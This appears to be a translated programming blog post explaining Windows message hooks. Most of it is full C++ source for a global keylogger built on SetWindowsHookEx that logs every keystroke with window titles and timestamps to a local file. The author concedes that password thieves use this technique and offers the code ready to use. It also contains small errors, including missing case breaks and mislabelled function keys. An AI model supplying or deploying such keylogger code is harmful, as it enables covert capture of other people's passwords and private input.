"Wuji, how much do you remember what I taught you?"
"Master Hui, I only remember more than half."
"And now?"
"There is less than half left."
"And now?"
"I've forgotten everything!"
"OK, you can go!"
Envy Zhang Wuji, forget his martial arts and defeat the enemy; I forgot my martial arts and cried.
I haven't touched this for more than a year. I forgot it completely. Fortunately, the muscle memory is still there. It's very kind to learn. I don't talk much nonsense and get to the point.
preface
Hook is one of the most flexible skills in programming. Under windows, hook has two meanings:
1. The message hook mechanism provided by the system, that is, the hook we want to implement today, will be discussed later.
2. Custom Hook programming skills
Custom Hook programming skills are an advanced technology based on specific system structure, file structure and assembly language. When used freely, it is like holding a dragon killing knife and leaning on the sky sword.
Operating environment:
visual studio 2015
Windows 10
Message Hook
Windows message hook is mainly disconnected through SetWindowsHookEx and UnhookWindowsHookEx(), so we mainly learn to use these two functions next.
The reason why we can perform message Hook is because of the message mechanism of Windows; In short:
Windows system is based on the event driven mechanism. Each event is a message. Each running program, that is, the so-called process, maintains one or more message queues. The number of message queues depends on the number of threads contained in the process. Since a process must have at least one thread, a process must have at least one message queue. Although the message dispatch of windows system is based on threads, not all threads have message queues. A newly created thread does not have message queues. Windows creates message queues for threads only when the thread calls GDI or USER32 library functions for the first time. Messages are finally processed by the window belonging to the thread. Ordinary applications can only get the messages in the message queue of the thread, that is, they can only get the messages assigned by the system and belonging to the thread. In other words, a thread does not know what happened to other threads during operation. However, there is a special kind of program that can access the message queue of other threads, that is, hook program.
(Windows message mechanism is still very important. I won't repeat it here. Understanding these contents is enough for our next study. If you want to know more, I suggest reading this article https://zhuanlan.zhihu.com/p/42992978)
Writing a hook program is a mechanism provided by the Windows system to the user to intervene in the running process of Windows. Through the hook program, Windows exposes the internal flowing messages to the user, so that the user can carry out special processing on the messages before they are dispatched by the window manager, such as tracking the message flow when debugging the program. However, everything has its two sides. Some password theft tools use the system keyboard hook to intercept the keyboard messages of other programs, so as to obtain the passwords entered by users. It can be seen that illegal hook programs are very harmful to computer information security.
(then today we will implement a simple keyboard recorder through message hook. Hey, know yourself and the enemy, and you will be invincible in a hundred battles)!
Message Hook process
Step 1: install the hook
Last step: unload the hook
Intermediate step: we need to implement the callback function to realize our own operation. For example, get keyboard input information and save it to txt file
Implementation of keyboard recorder through setWindowsHookEx()
Implementation principle
When the keyboard is pressed, a message is generated, and the key message is added to the system message queue. The operating system takes out the message from the message queue and adds it to the message queue of the corresponding program;
The application uses the message Hook to fetch the message WM from its own message queue_ Keydown, call the message processing function. We can add message hooks between system message queues so that messages can be captured before they are sent to applications.
You can add hooks multiple times to form a hook chain, and you can call functions in turn.
Installation hook
SetWindowsHookEx
WINUSERAPI HHOOK WINAPI SetWindowsHookEx( //Hook Type _In_ int idHook, //Callback function address _In_ HOOKPROC lpfn, //Instance handle (including hook function) _In_opt_ HINSTANCE hmod, //Thread ID, the thread to be hooked (if it is 0, it is not specified, global) _In_ DWORD dwThreadId);
The hook types that can be set are as follows:
Macro value | meaning |
---|---|
WH_MSGFILTER | Intercepts messages that the user interacts with the control |
WH_KEYBOARD | Intercepting keyboard messages |
WH_GETMESSAGE | Intercepts messages sent from the message queue |
WH_CBT | Intercept basic system messages, activate, establish, destroy, minimize, maximize, move, change size and other window events |
WH_MOUSE | Intercepting mouse messages |
WH_CALLWNDPROCRET | Intercepts the processed message of the target window |
Here is the hook keyboard message:
SetWindowsHookEx( WH_KEYBOARD_LL, // low-level keyboard input events HookProcedure, // Callback function address GetModuleHandle(NULL), // A handle to the DLL containing the hook procedure NULL //Thread ID, the thread to be hooked (if it is 0, it is not specified, global) );
Use the API function SetWindowsHookEx() to install an application defined Hook procedure into the Hook linked list. The SetWindowsHookEx function always installs the Hook subroutine at the beginning of the Hook chain. When an event monitored by a specified type of Hook occurs, the system calls the Hook subroutine at the beginning of the Hook chain associated with the Hook. The Hook subprocess in each Hook chain decides whether to pass this event to the next Hook subprocess. The Hook subprocess needs to call the CallNextHookEx function to pass the event to the next Hook subprocess.
Sets the hook for the next subroutine in the hook chain. In the hook procedure, calling the hook function with control function after processing the message, if it wants to continue the message, it must call the API function CallNextHookEx in another SDK to pass it to execute the next hook procedure referred to in the hook list.
WINUSERAPI LRESULT WINAPI CallNextHookEx( //Hook handle, returned by SetWindowsHookEx() function. _In_opt_ HHOOK hhk, //Hook event code, the event code of the hook process of the callback function _In_ int nCode, //The wParam value passed to the hook routine _In_ WPARAM wParam, //lParam value passed to hook subroutine _In_ LPARAM lParam);
Unloading hook
Uninstall the hook API. After using the hook, you need to uninstall it with UnhookWindowsHookEx(), otherwise it will cause trouble.
WINUSERAPI BOOL WINAPI UnhookWindowsHookEx( //Handle to the hook to delete. This parameter is the return value of the previous function SetWindowsHookEx _In_ HHOOK hhk);
Keyboard record
The main functions are realized through the callback function HookProcedure() in the SetwindowsHookEx() parameter.
LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam)
In it, we will obtain the state of 256 virtual keys and convert them into real characters
[the external chain image transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the image and upload it directly (img-fwkl4x3e-1631233055133) (C: \ users \ 11073 \ appdata \ roaming \ typora \ typora user images \ image-20210908224511747. PNG)]
Output: Here we write two ways
1. Output to console
2. Output to text and save
Some logic
Obtain the current window and current time;
Save the recorded keyboard message to a file;
effect
x86 effect:
x64 bit
Save in txt file
Code
github download, can be used directly, or modify the test
Link: windows hook.
// Using SetWindowsHookEx to implement keyboard recorder #include <Windows.h> #include <string> #include <fstream> #include <sstream> #include <iostream> #include "keyboard message Hook.h" #include "vld.h" // Global keyboard Hook handle HHOOK kKeyboardHook; // Shift Key BOOL bShift = FALSE; // Store keyboard messages std::string fileName = "D:\\test.txt"; // Windows Title Text -260 char- char cWindow[1000]; // NULL is ok HWND lastWindow = NULL; int main() { std::cout << "start !" << std::endl; // Set keyboard hook if (!HookKeyBoard()) { std::cout << "Hook KeyBoard Failed!" << std::endl; } unhookKeyboard();//Release hook } /******************************************************** The keyboard hook() function sets the keyboard hook Return value: whether the hook succeeded *********************************************************/ BOOL HookKeyBoard() { BOOL bRet = FALSE; kKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, // low-level keyboard input events HookProcedure, // Callback function address GetModuleHandle(NULL), // A handle to the DLL containing the hook procedure NULL //Thread ID, the thread to be hooked (if it is 0, it is not specified, global) ); if (!kKeyboardHook) { // If SetWindowsHookEx fails std::cout << "[!] Failed to get handle from SetWindowsHookEx()" << std::endl; } else { std::cout << "[*] KeyCapture handle ready" << std::endl; MSG Msg{}; // Unified initialization while (GetMessage(&Msg, NULL, 0, 0) > 0) { TranslateMessage(&Msg); DispatchMessage(&Msg); } bRet = TRUE; } return bRet; } /******************************************************** Function: hook callback Return value: whether the hook succeeded *********************************************************/ LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam) { std::ofstream myfile(fileName, std::ios::out | std::ios::app); BOOL caps = FALSE; // Default uppercase off SHORT capsShort = GetKeyState(VK_CAPITAL); std::string outPut; std::stringstream ssTemp; // string character stream if (capsShort > 0) { // If it is greater than 0, press the uppercase key to turn on uppercase; Conversely, lowercase caps = TRUE; } /* WH_KEYBOARD_LL uses the LowLevelKeyboardProc Call Back LINK = https://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx */ // LowLevelKeyboardProc Structure KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam; // The wParam and lParam parameters contain information about keyboard messages. if (nCode == HC_ACTION) { // Messsage data is ready for pickup // Check for SHIFT key if (p->vkCode == VK_LSHIFT || p->vkCode == VK_RSHIFT) { // WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP. if (wParam == WM_KEYDOWN) { bShift = TRUE; } if (wParam == WM_KEYUP) { bShift = FALSE; } else { bShift = FALSE; } } // Start Loging keys now we are setup if (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN) { // Retrieves a handle to the foreground window (the window with which the user is currently working). HWND currentWindow = GetForegroundWindow(); // Return to the foreground window to get the current window // Check if we need to write new window output if (currentWindow != lastWindow) { SYSTEMTIME t{}; GetLocalTime(&t); // Get current system time int day = t.wDay; int month = t.wMonth; int year = t.wYear; int hour = t.wHour; int min = t.wMinute; int sec = t.wSecond; int dayName = t.wDayOfWeek; // Build our output header ssTemp << "\n\n[+] " << Dayofweek(dayName) << " - " << day << "/" << month << "/" << year << " "; ssTemp << hour << ":" << min << ":" << sec; outPut.append(ssTemp.str()); ssTemp.clear(); // GetWindowTextACCC int c = GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow)); std::cout << c; ssTemp << " - Current Window: " << cWindow << "\n\n"; //outPut.append(temp.str()); std::cout << ssTemp.str() << std::endl; myfile << ssTemp.str(); // Setup for next CallBackCC lastWindow = currentWindow; } // Now capture keys if (p->vkCode) { ssTemp.clear(); ssTemp << HookCode(p->vkCode, caps, bShift); std::cout << ssTemp.str(); myfile << ssTemp.str(); } // Final output logic } } // hook procedure must pass the message *Always* myfile.close(); return CallNextHookEx(NULL, nCode, wParam, lParam); // hook chain } /******************************************************** Function action: time Return value: return time *********************************************************/ std::string Dayofweek(int code) { // Return Day of the year in text std::string name; switch (code) { case 0: name = "[SUNDAY]"; break; case 1: name = "[MONDAY]"; break; case 2: name = "[TUESDAY]"; break; case 3: name = "[WENSDAY]"; break; case 4: name = "[THURSDAY]"; break; case 5: name = "[FRIDAY]"; break; case 6: name = "[SATURDAY]"; break; default: name = "[UNKOWN]"; } return name; } /******************************************************** The function converts the obtained keyboard message into characters Parameter Description: keyboard message obtained by DWORD code BOOL caps Whether to turn on uppercase BOOL shift Press shift Return value: converted character *********************************************************/ std::string HookCode(DWORD code, BOOL caps, BOOL shift) { std::string key; switch (code) // SWITCH ON INT { // Char keys for ASCI // No VM Def in header case 0x41: key = caps ? (shift ? "a" : "A") : (shift ? "A" : "a"); break; case 0x42: key = caps ? (shift ? "b" : "B") : (shift ? "B" : "b"); break; case 0x43: key = caps ? (shift ? "c" : "C") : (shift ? "C" : "c"); break; case 0x44: key = caps ? (shift ? "d" : "D") : (shift ? "D" : "d"); break; case 0x45: key = caps ? (shift ? "e" : "E") : (shift ? "E" : "e"); break; case 0x46: key = caps ? (shift ? "f" : "F") : (shift ? "F" : "f"); break; case 0x47: key = caps ? (shift ? "g" : "G") : (shift ? "G" : "g"); break; case 0x48: key = caps ? (shift ? "h" : "H") : (shift ? "H" : "h"); break; case 0x49: key = caps ? (shift ? "i" : "I") : (shift ? "I" : "i"); break; case 0x4A: key = caps ? (shift ? "j" : "J") : (shift ? "J" : "j"); break; case 0x4B: key = caps ? (shift ? "k" : "K") : (shift ? "K" : "k"); break; case 0x4C: key = caps ? (shift ? "l" : "L") : (shift ? "L" : "l"); break; case 0x4D: key = caps ? (shift ? "m" : "M") : (shift ? "M" : "m"); break; case 0x4E: key = caps ? (shift ? "n" : "N") : (shift ? "N" : "n"); break; case 0x4F: key = caps ? (shift ? "o" : "O") : (shift ? "O" : "o"); break; case 0x50: key = caps ? (shift ? "p" : "P") : (shift ? "P" : "p"); break; case 0x51: key = caps ? (shift ? "q" : "Q") : (shift ? "Q" : "q"); break; case 0x52: key = caps ? (shift ? "r" : "R") : (shift ? "R" : "r"); break; case 0x53: key = caps ? (shift ? "s" : "S") : (shift ? "S" : "s"); break; case 0x54: key = caps ? (shift ? "t" : "T") : (shift ? "T" : "t"); break; case 0x55: key = caps ? (shift ? "u" : "U") : (shift ? "U" : "u"); break; case 0x56: key = caps ? (shift ? "v" : "V") : (shift ? "V" : "v"); break; case 0x57: key = caps ? (shift ? "w" : "W") : (shift ? "W" : "w"); break; case 0x58: key = caps ? (shift ? "x" : "X") : (shift ? "X" : "x"); break; case 0x59: key = caps ? (shift ? "y" : "Y") : (shift ? "Y" : "y"); break; case 0x5A: key = caps ? (shift ? "z" : "Z") : (shift ? "Z" : "z"); break; // Sleep Key case VK_SLEEP: key = "[SLEEP]"; break; // Num Keyboard case VK_NUMPAD0: key = "0"; break; case VK_NUMPAD1: key = "1"; break; case VK_NUMPAD2: key = "2"; break; case VK_NUMPAD3: key = "3"; break; case VK_NUMPAD4: key = "4"; break; case VK_NUMPAD5: key = "5"; break; case VK_NUMPAD6: key = "6"; break; case VK_NUMPAD7: key = "7"; break; case VK_NUMPAD8: key = "8"; break; case VK_NUMPAD9: key = "9"; break; case VK_MULTIPLY: key = "*"; break; case VK_ADD: key = "+"; break; case VK_SEPARATOR: key = "-"; break; case VK_SUBTRACT: key = "-"; break; case VK_DECIMAL: key = "."; break; case VK_DIVIDE: key = "/"; break; // Function Keys case VK_F1: key = "[F1]"; break; case VK_F2: key = "[F2]"; break; case VK_F3: key = "[F3]"; break; case VK_F4: key = "[F4]"; break; case VK_F5: key = "[F5]"; break; case VK_F6: key = "[F6]"; break; case VK_F7: key = "[F7]"; break; case VK_F8: key = "[F8]"; break; case VK_F9: key = "[F9]"; break; case VK_F10: key = "[F10]"; break; case VK_F11: key = "[F11]"; break; case VK_F12: key = "[F12]"; break; case VK_F13: key = "[F13]"; break; case VK_F14: key = "[F14]"; break; case VK_F15: key = "[F15]"; break; case VK_F16: key = "[F16]"; break; case VK_F17: key = "[F17]"; break; case VK_F18: key = "[F18]"; break; case VK_F19: key = "[F19]"; break; case VK_F20: key = "[F20]"; break; case VK_F21: key = "[F22]"; break; case VK_F22: key = "[F23]"; break; case VK_F23: key = "[F24]"; break; case VK_F24: key = "[F25]"; break; // Keys case VK_NUMLOCK: key = "[NUM-LOCK]"; break; case VK_SCROLL: key = "[SCROLL-LOCK]"; break; case VK_BACK: key = "[BACK]"; break; case VK_TAB: key = "[TAB]"; break; case VK_CLEAR: key = "[CLEAR]"; break; case VK_RETURN: key = "[ENTER]"; break; case VK_SHIFT: key = "[SHIFT]"; break; case VK_CONTROL: key = "[CTRL]"; break; case VK_MENU: key = "[ALT]"; break; case VK_PAUSE: key = "[PAUSE]"; break; case VK_CAPITAL: key = "[CAP-LOCK]"; break; case VK_ESCAPE: key = "[ESC]"; break; case VK_SPACE: key = "[SPACE]"; break; case VK_PRIOR: key = "[PAGEUP]"; break; case VK_NEXT: key = "[PAGEDOWN]"; break; case VK_END: key = "[END]"; break; case VK_HOME: key = "[HOME]"; break; case VK_LEFT: key = "[LEFT]"; break; case VK_UP: key = "[UP]"; break; case VK_RIGHT: key = "[RIGHT]"; break; case VK_DOWN: key = "[DOWN]"; break; case VK_SELECT: key = "[SELECT]"; break; case VK_PRINT: key = "[PRINT]"; break; case VK_SNAPSHOT: key = "[PRTSCRN]"; break; case VK_INSERT: key = "[INS]"; break; case VK_DELETE: key = "[DEL]"; break; case VK_HELP: key = "[HELP]"; break; // Number Keys with shift case 0x30: key = shift ? "!" : "1"; break; case 0x31: key = shift ? "@" : "2"; break; case 0x32: key = shift ? "#" : "3"; break; case 0x33: key = shift ? "$" : "4"; break; case 0x34: key = shift ? "%" : "5"; break; case 0x35: key = shift ? "^" : "6"; break; case 0x36: key = shift ? "&" : "7"; break; case 0x37: key = shift ? "*" : "8"; break; case 0x38: key = shift ? "(" : "9"; break; case 0x39: key = shift ? ")" : "0"; break; // Windows Keys case VK_LWIN: key = "[WIN]"; break; case VK_RWIN: key = "[WIN]"; break; case VK_LSHIFT: key = "[SHIFT]"; break; case VK_RSHIFT: key = "[SHIFT]"; break; case VK_LCONTROL: key = "[CTRL]"; break; case VK_RCONTROL: key = "[CTRL]"; break; // OEM Keys with shift case VK_OEM_1: key = shift ? ":" : ";"; break; case VK_OEM_PLUS: key = shift ? "+" : "="; break; case VK_OEM_COMMA: key = shift ? "<" : ","; break; case VK_OEM_MINUS: key = shift ? "_" : "-"; break; case VK_OEM_PERIOD: key = shift ? ">" : "."; break; case VK_OEM_2: key = shift ? "?" : "/"; break; case VK_OEM_3: key = shift ? "~" : "`"; break; case VK_OEM_4: key = shift ? "{" : "["; break; case VK_OEM_5: key = shift ? "\\" : "|"; break; case VK_OEM_6: key = shift ? "}" : "]"; break; case VK_OEM_7: key = shift ? "'" : "'"; break; //TODO: Escape this char: " // Action Keys case VK_PLAY: key = "[PLAY]"; case VK_ZOOM: key = "[ZOOM]"; case VK_OEM_CLEAR: key = "[CLEAR]"; case VK_CANCEL: key = "[CTRL-C]"; default: key = "[UNK-KEY]"; break; } return key; } /******************************************************** The keyboard hook() function releases a keyboard hook Return value: void *********************************************************/ void unhookKeyboard() { if (kKeyboardHook != 0) { UnhookWindowsHookEx(kKeyboardHook); } exit(0); }
reference material
[windows core programming] use of system messages and custom hooks
HOOK tutorial 1_ Windows message HOOK using SetWindowsHookEx
summary
After that, we will continue to update the hook series.